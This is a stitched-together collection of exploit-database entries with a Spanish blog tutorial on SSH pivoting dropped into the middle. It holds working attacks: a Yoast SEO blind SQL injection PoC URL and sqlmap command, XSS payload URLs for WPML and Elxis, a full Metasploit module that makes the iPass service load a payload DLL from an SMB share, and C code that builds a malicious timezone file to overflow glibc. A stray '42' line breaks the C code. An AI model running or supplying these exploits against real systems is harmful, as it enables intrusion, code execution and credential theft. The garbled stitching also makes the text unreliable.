Submitting the above form would delete the row with the ID 12345 in
the wp_posts database. Several items be deleted with the same request.



3. Reflected XSS

The ”reminder popup” code intended for administrators in WPML didn’t
check for login status or nonce. An attacker can direct target users
to an URL like:

https://YOUR.WORDPRESS.BLOG/?icl_action=reminder_popup&target=javascript%3Aalert%28%2Fhello+world%2f%29%3b%2f%2f


to execute JavaScript in their browser. This example bypasses the
Chrome XSS Auditor.

In the case of WordPress, XSS triggered by an administrator can lead
to server-side compromise via the plugin and theme editors.



CREDITS
========

The vulnerabilities were found by Jouko Pynnonen of Klikki Oy while
researching WordPress plugins falling in the scope of the Facebook bug
bounty program.

The vendor was notified on March 02, 2015 and the patch was released
on March 10.

Vendor advisory: http://wpml.org/2015/03/wpml-security-update-bug-and-fix/

An up-to-date version of this document can be found on our website
http://klikki.fi .


-- 
Jouko Pynnönen <jouko@iki.fi>
Klikki Oy - http://klikki.fi
            
Title: WordPress SEO by Yoast <= 1.7.3.3 - Blind SQL Injection
Version/s Tested: 1.7.3.3
Patched Version: 1.7.4
CVSSv2 Base Score: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C/E:POC/RL:OF/RC:C)
CVSSv2 Temporal Score: 7 (AV:N/AC:L/Au:S/C:C/I:C/A:C/E:POC/RL:OF/RC:C)
WPVULNDB: https://wpvulndb.com/vulnerabilities/7841

Description:

WordPress SEO by Yoast is a popular WordPress plugin (wordpress-seo) used
to improve the Search Engine Optimization (SEO) of WordPress sites. The
latest version at the time of writing (1.7.3.3) has been found to be
affected by two authenticated (admin, editor or author user) Blind SQL
Injection vulnerabilities. The plugin has more than one million downloads
according to WordPress.

Technical Description:

The authenticated Blind SQL Injection vulnerability can be found within the
'admin/class-bulk-editor-list-table.php' file. The orderby and order GET
parameters are not sufficiently sanitised before being used within a SQL
query.

Line 529:

$orderby = ! empty( $_GET['orderby'] ) ? esc_sql( sanitize_text_field(
$_GET['orderby'] ) ) : 'post_title';

Line 533:

order = esc_sql( strtoupper( sanitize_text_field( $_GET['order'] ) ) );

If the GET orderby parameter value is not empty it will pass its value
through WordPess's own esc_sql() function. According to WordPress this
function 'Prepares a string for use as an SQL query. A glorified
addslashes() that works with arrays.'. However, this is not sufficient to
prevent SQL Injection as can be seen from our Proof of Concept.

Proof of Concept (PoC):

The following GET request will cause the SQL query to execute and sleep for
10 seconds if clicked on as an authenticated admin, editor or author user.

http://127.0.0.1/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date%2c(select%20*%20from%20(select(sleep(10)))a)&order=asc

Using SQLMap:

python sqlmap.py -u "
http://127.0.0.1/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date*&order=asc"
--batch --technique=B --dbms=MySQL --cookie="wordpress_9d...;
wordpress_logged_in_9dee67...;"

Impact:

As there is no anti-CSRF protection a remote unauthenticated attacker could
use this vulnerability to execute arbitrary SQL queries on the victim
WordPress web site by enticing an authenticated admin, editor or author
user to click on a specially crafted link or visit a page they control.

One possible attack scenario would be an attacker adding their own
administrative user to the target WordPress site, allowing them to
compromise the entire web site.

Timeline:

March 10th 2015 - 15:30 GMT: Vulnerability discovered by Ryan Dewhurst
(WPScan Team - Dewhurst Security).
March 10th 2015 - 18:30 GMT: Technical review by FireFart (WPScan Team).
March 10th 2015 - 20:00 GMT: Vendor contacted via email.
March 10th 2015 - 21:25 GMT: Vendor replies, confirms issue and gave
expected patch timeline.
March 11th 2015 - 12:05 GMT: Vendor released version 1.7.4 which patches
this issue.
March 11th 2015 - 12:30 GMT: Advisory released.
            
HireHackking

Pivoting con SSH

Hacer pivoting mediante SSH es una de las formas más cómodas. Si se tiene la oportunidad de realizar port forwarding con este protocolo es una de las mejores opciones.

Índice:

  • Introducción
  • Local Port Forwarding
  • Remote Port Forwarding
  • Dynamic Port Forwarding

Introducción

SSH nos permite 3 modos de port forwarding (reenvío de puertos):

  • Local Port Forwarding
  • Remote Port Forwarding
  • Dynamic Port Forwarding

El «laboratorio» para este post es el siguiente:

  • 3 Equipos:
    • Kali –> Mi equipo de atacante
      • IP: 192.168.10.10
    • Debian –> Servicio SSH activado
      • IP: 192.168.10.20 y 192.168.20.10 –> 2 Interfaces de Red
    • Debian –> Servidor Apache2 activado
      • IP: 192.168.20.20 y 192.168.30.10 –> 2 Interfaces de Red (aunque la segunda para este post es irrelevante)
pivoting ssh laboratorio

El objetivo es llegar desde el Kali al Debian que tiene el servidor web, en base a como están distribuidas las redes arriba podemos darnos cuenta rapidamente de que no hay conexión directa entre un equipo y otro. Sin embargo, vamos a aprovecharnos del debian que actúa como servidor SSH y que además tiene conexión a ambas redes para poder llegar desde el Kali al servidor web.

Local Port Forwarding

En este caso, aprovechamos la sesión de SSH para nosotros abrirnos un puerto en nuestro kali para que éste, nos rediriga a la máquina y puertos seleccionados, usando como pivoting el servidor al que nos conectamos por SSH.

La sintaxis e idea es la siguiente:

image 58

Teniendo esto en cuenta, procedemos:

image 59

Como vemos, la sintaxis usada es:

ssh -L 80:192.168.20.20:80 [email protected]

Explicado con palabras, es lo siguiente:

Con el parámetro -L, le indicamos que queremos hacer un Local Port Forwarding. El primer puerto que le indicamos, es el puerto que nosotros nos abrimos localmente y que tunelizará hacia el servicio. Posteriormente, la IP y puerto especificado es al que queremos acceder y llegar desde nuestro puerto local. Todo esto a través de la máquina en la que iniciamos sesión con SSH.

Por lo que en este punto, si nos vamos al navegador manteniendo la sesión SSH abierta y vamos a la dirección: http://localhost/, veremos el servidor web:

image 60

De esta forma, podemos acceder a todos los puertos de todas las IP a las que el servidor SSH tenga acceso.

En el momento que cortemos la conexión también perderemos el port forwarding:

image 61
image 62

Remote Port Forwarding

El Remote Port Forwarding es un poco distinto al Local Port Forwarding. No cambia mucho a nivel sintaxis pero si a nivel conceptual.

La sintaxis en este caso es la siguiente:

ssh -R <puerto a abrir en la maquina a la que te conectas><dirección a donde apuntar><puerto a apuntar de la direccion donde se apunta> <usuario>@<direccion kali>

La peculiaridad del Remote Port Forwarding es que nosotros no iniciamos sesión en el servidor SSH que tenemos definido en el laboratorio. Sino que en este caso, es al revés, desde el servidor SSH que tenemos, iniciamos sesión en nuestra máquina kali (tendriamos que activar el servicio SSH).

Mirándolo desde el punto de vista de atacante y víctima, si tratamos el kali como atacante y el debian (servidor SSH) como víctima, nos podemos dar cuenta de que en la máquina víctima, estaríamos poniendo credenciales de nuestro equipo. Ésto hablando desde el punto de vista de la seguridad no es lo óptimo, por eso, se suele usar siempre Local Port Forwarding, ya que no tiene este peligro.

Entonces, volviendo a la práctica, ejecutariamos lo siguiente en el Debian (servidor SSH):

image 86

Como vemos, el comando para el Remote Port Forwarding es:

R:80:192.168.20.20:80

De esta forma, como estamos iniciando sesión en el kali, le estamos indicando que abra el puerto 80 y que apunte al Debian que actúa como servidor web. Podemos hacer esto ya que el Debian desde el que nos conectamos tiene acceso a ambas redes, por ello, es posible conectarlas.

Con esto hecho, si nosotros desde el kali nos vamos al localhost:

image 92

Vemos que podemos acceder perfectamente al servidor web.

Y al igual que en el Local Port Forwarding, al momento que cortemos la sesión SSH, perdemos la conexión:

image 93
image 94

Dynamic Port Forwarding

Éste puede ser el tipo de Port Forwarding mas peculiar pero muy útil en ciertas ocasiones. El Dynamic Port Forwarding de forma resumida y mal dicha, nos permite tunelizar todos los puertos de toda la red a la que el servidor SSH tenga acceso. Ésto ocurre porque con este modo, podemos hacer que SSH actué como un proxy SOCKS:

image 95

La sintaxis para lograr esto es la mas sencilla de todas:

ssh -D <puerto local que actuará de proxy> <usuario>@<IP>

Por lo que:

image 96

De esta forma, ahora mismo tenemos un proxy SOCKS en nuestro puerto local 8080.

Si por ejemplo, desde firefox, nos vamos a «Ajustes > Configuración de Red», podemos indicarle que use éste puerto como proxy SOCKS:

image 97

Ahora, ya no tenemos que acceder al localhost como hacíamos en el Local o en el Remote Port Forwarding. De ésta forma, podemos ir directo:

image 98

Como vemos parece como si estuviéramos en la misma red que el servidor web. La pregunta en este punto es:

  • ¿Podemos hacer uso de ésto con otras herramientas, por ejemplo, nmap?

Pues si que podemos hacer uso tanto de nmap como de otras utilidades, si que es cierto que con ciertas limitaciones, pero podemos, y algunas veces es muy útil. Para poder hacer esto haremos uso de Proxychains, el cual podeis acceder a su post aquí.

Conclusión + Info importante

Algo que no he mencionado hasta ahora es que en cualquiera de los 3 modos, puedes usar tantos argumentos como quieras, es decir, puedes poner varios -L para crear varios Local Port Forwarding en la misma sesión. Ésto mismo aplica para el Remote y el Dynamic Port Forwarding.

Ejemplo con Dynamic:

image 99

De ésta forma, podemos tunelizar tantos puertos como queramos (si hablamos de local y remote).

Y estas son las tres formas principales de hacer pivoting en SSH, además, como dato extra, todas las conexiones funcionan por encima de la capa de seguridad que proporciona este protocolo, por lo que todas las conexiones estarán encriptadas.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SMB::Client::Authenticated
  include Msf::Exploit::Remote::SMB::Server::Share
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'IPass Control Pipe Remote Command Execution',
      'Description'    => %q{
        This module exploits a vulnerability in the IPass Client service. This service provides a
        named pipe which can be accessed by the user group BUILTIN\Users. This pipe can be abused
        to force the service to load a DLL from a SMB share.
      },
      'Author'         =>
        [
          'Matthias Kaiser', # Vulnerability discovery
          'h0ng10 <info[at]mogwaisecurity.de>', # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2015-0925' ],
          [ 'OSVDB', '117423' ],
          [ 'BID', '72265' ],
          [ 'URL', 'http://codewhitesec.blogspot.de/2015/02/how-i-could-ipass-your-client-security.html' ],
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'         =>
        {
          'Space'       => 2048,
          'DisableNops' => true
        },
      'Platform'        => 'win',
      'Targets'         =>
        [
          [ 'Windows x32', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
        ],
      'Privileged'      => true,
      'DisclosureDate'  => 'Jan 21 2015',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
      ], self.class)

    deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')
  end

  def check
    echo_value = rand_text_alphanumeric(rand(10) + 10)

    begin
      response = send_command("System.Echo #{echo_value}")
      if response =~ Regexp.new(echo_value)
        return Exploit::CheckCode::Vulnerable
      else
        return Exploit::CheckCode::Unknown
      end
    rescue Rex::ConnectionError => e
      vprint_error("Connection failed: #{e.class}: #{e}")
      return Msf::Exploit::CheckCode::Unknown
    rescue Rex::Proto::SMB::Exceptions::LoginError => e
      vprint_error('Connection reset during login')
      return Msf::Exploit::CheckCode::Unknown
    end
  end

  def setup
    super
    self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"
    self.share = Rex::Text.rand_text_alpha(5)
  end

  def primer
    self.file_contents = generate_payload_dll
    print_status("File available on #{unc}...")
    send_command("iPass.SWUpdateAssist.RegisterCOM #{unc}")
  end

  def send_command(command)
    # The connection is closed after each command, so we have to reopen it
    connect
    smb_login
    pipe = simple.create_pipe('\\IPEFSYSPCPIPE')
    pipe.write(Rex::Text.to_unicode(command))
    response = Rex::Text.to_ascii(pipe.read)

    response
  end


  def exploit
    begin
      Timeout.timeout(datastore['SMB_DELAY']) { super }
    rescue Timeout::Error
      # do nothing... just finish exploit and stop smb server...
    end
  end

end
            
source: https://www.securityfocus.com/bid/50925/info

Simple Machines Forum is prone to an arbitrary-file-upload vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

Simple Machines Forum 1.1.15 is vulnerable; other versions may also be affected. 

http://www.example.com/[patch]/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php 
            
source: https://www.securityfocus.com/bid/50921/info

The Pretty Link plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pretty Link 1.5.2 is vulnerable; other versions may also be affected. 

 http://www.example.com/[path]/wp-content/plugins/pretty-link/pretty-bar.php?url=[xss] 
            
source: https://www.securityfocus.com/bid/50910/info
 
Elxis CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com//elxis/administrator/index.php/%22onmouseover=prompt(dclabs)%3E 
            
source: https://www.securityfocus.com/bid/50910/info

Elxis CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/elxis/index.php?id=3&Itemid=9&option=com_content&task=%22%20onmouseover%3dprompt%28dclabs%29%20dcl%3d%22
            
source: https://www.securityfocus.com/bid/50906/info

Serv-U is prone to a denial-of-service vulnerability and a security-bypass vulnerability.

Attackers can exploit these issues to perform denial-of-service attacks or gain unauthorized access to the affected application.

Serv-U 11.1.0.3 and prior versions are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36405.zip
            
// source: https://www.securityfocus.com/bid/50898/info

GNU glibc is prone to an remote integer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running an application that uses the affected library. 

#include <stdio.h>
#include <stdint.h>
#include <time.h>
#include <string.h>
 
#define TZ_MAGIC        "TZif"
 
#define PUT_32BIT_MSB(cp, value)                                        \
        do {                                                            \
                (cp)[0] = (value) >> 24;                                \
                (cp)[1] = (value) >> 16;                                \
                (cp)[2] = (value) >> 8;                                 \
                (cp)[3] = (value);                                      \
        } while (0)
 
struct tzhead {
        char    tzh_magic[4];
        char    tzh_version[1];
        char    tzh_reserved[15];
        char    tzh_ttisgmtcnt[4];
        char    tzh_ttisstdcnt[4];
        char    tzh_leapcnt[4];
        char    tzh_timecnt[4];
        char    tzh_typecnt[4];
        char    tzh_charcnt[4];
};
 
struct ttinfo
  {
    long int offset;
    unsigned char isdst;
    unsigned char idx;
    unsigned char isstd;
    unsigned char isgmt;
  };
int main(void)
{
        struct tzhead evil;
        int i;
        char *p;
42
        uint32_t total_size;
        uint32_t evil1, evil2;
 
        /* Initialize static part of the header */
        memcpy(evil.tzh_magic, TZ_MAGIC, sizeof(TZ_MAGIC) - 1);
        evil.tzh_version[0] = 0;
        memset(evil.tzh_reserved, 0, sizeof(evil.tzh_reserved));
        memset(evil.tzh_ttisgmtcnt, 0, sizeof(evil.tzh_ttisgmtcnt));
        memset(evil.tzh_ttisstdcnt, 0, sizeof(evil.tzh_ttisstdcnt));
        memset(evil.tzh_leapcnt, 0, sizeof(evil.tzh_leapcnt));
        memset(evil.tzh_typecnt, 0, sizeof(evil.tzh_typecnt));
 
        /* Initialize nasty part of the header */
        evil1 = 500;
        PUT_32BIT_MSB(evil.tzh_timecnt, evil1);
 
        total_size = evil1 * (sizeof(time_t) + 1);
        total_size = ((total_size + __alignof__ (struct ttinfo) - 1)
                & ~(__alignof__ (struct ttinfo) - 1));
 
        /* value of chars, to get a malloc(0) */
        evil2 = 0 - total_size;
        PUT_32BIT_MSB(evil.tzh_charcnt, evil2);
        p = (char *)&evil;
        for (i = 0; i < sizeof(evil); i++)
                printf("%c", p[i]);
 
        /* data we overflow with */
        for (i = 0; i < 50000; i++)
                printf("A");
}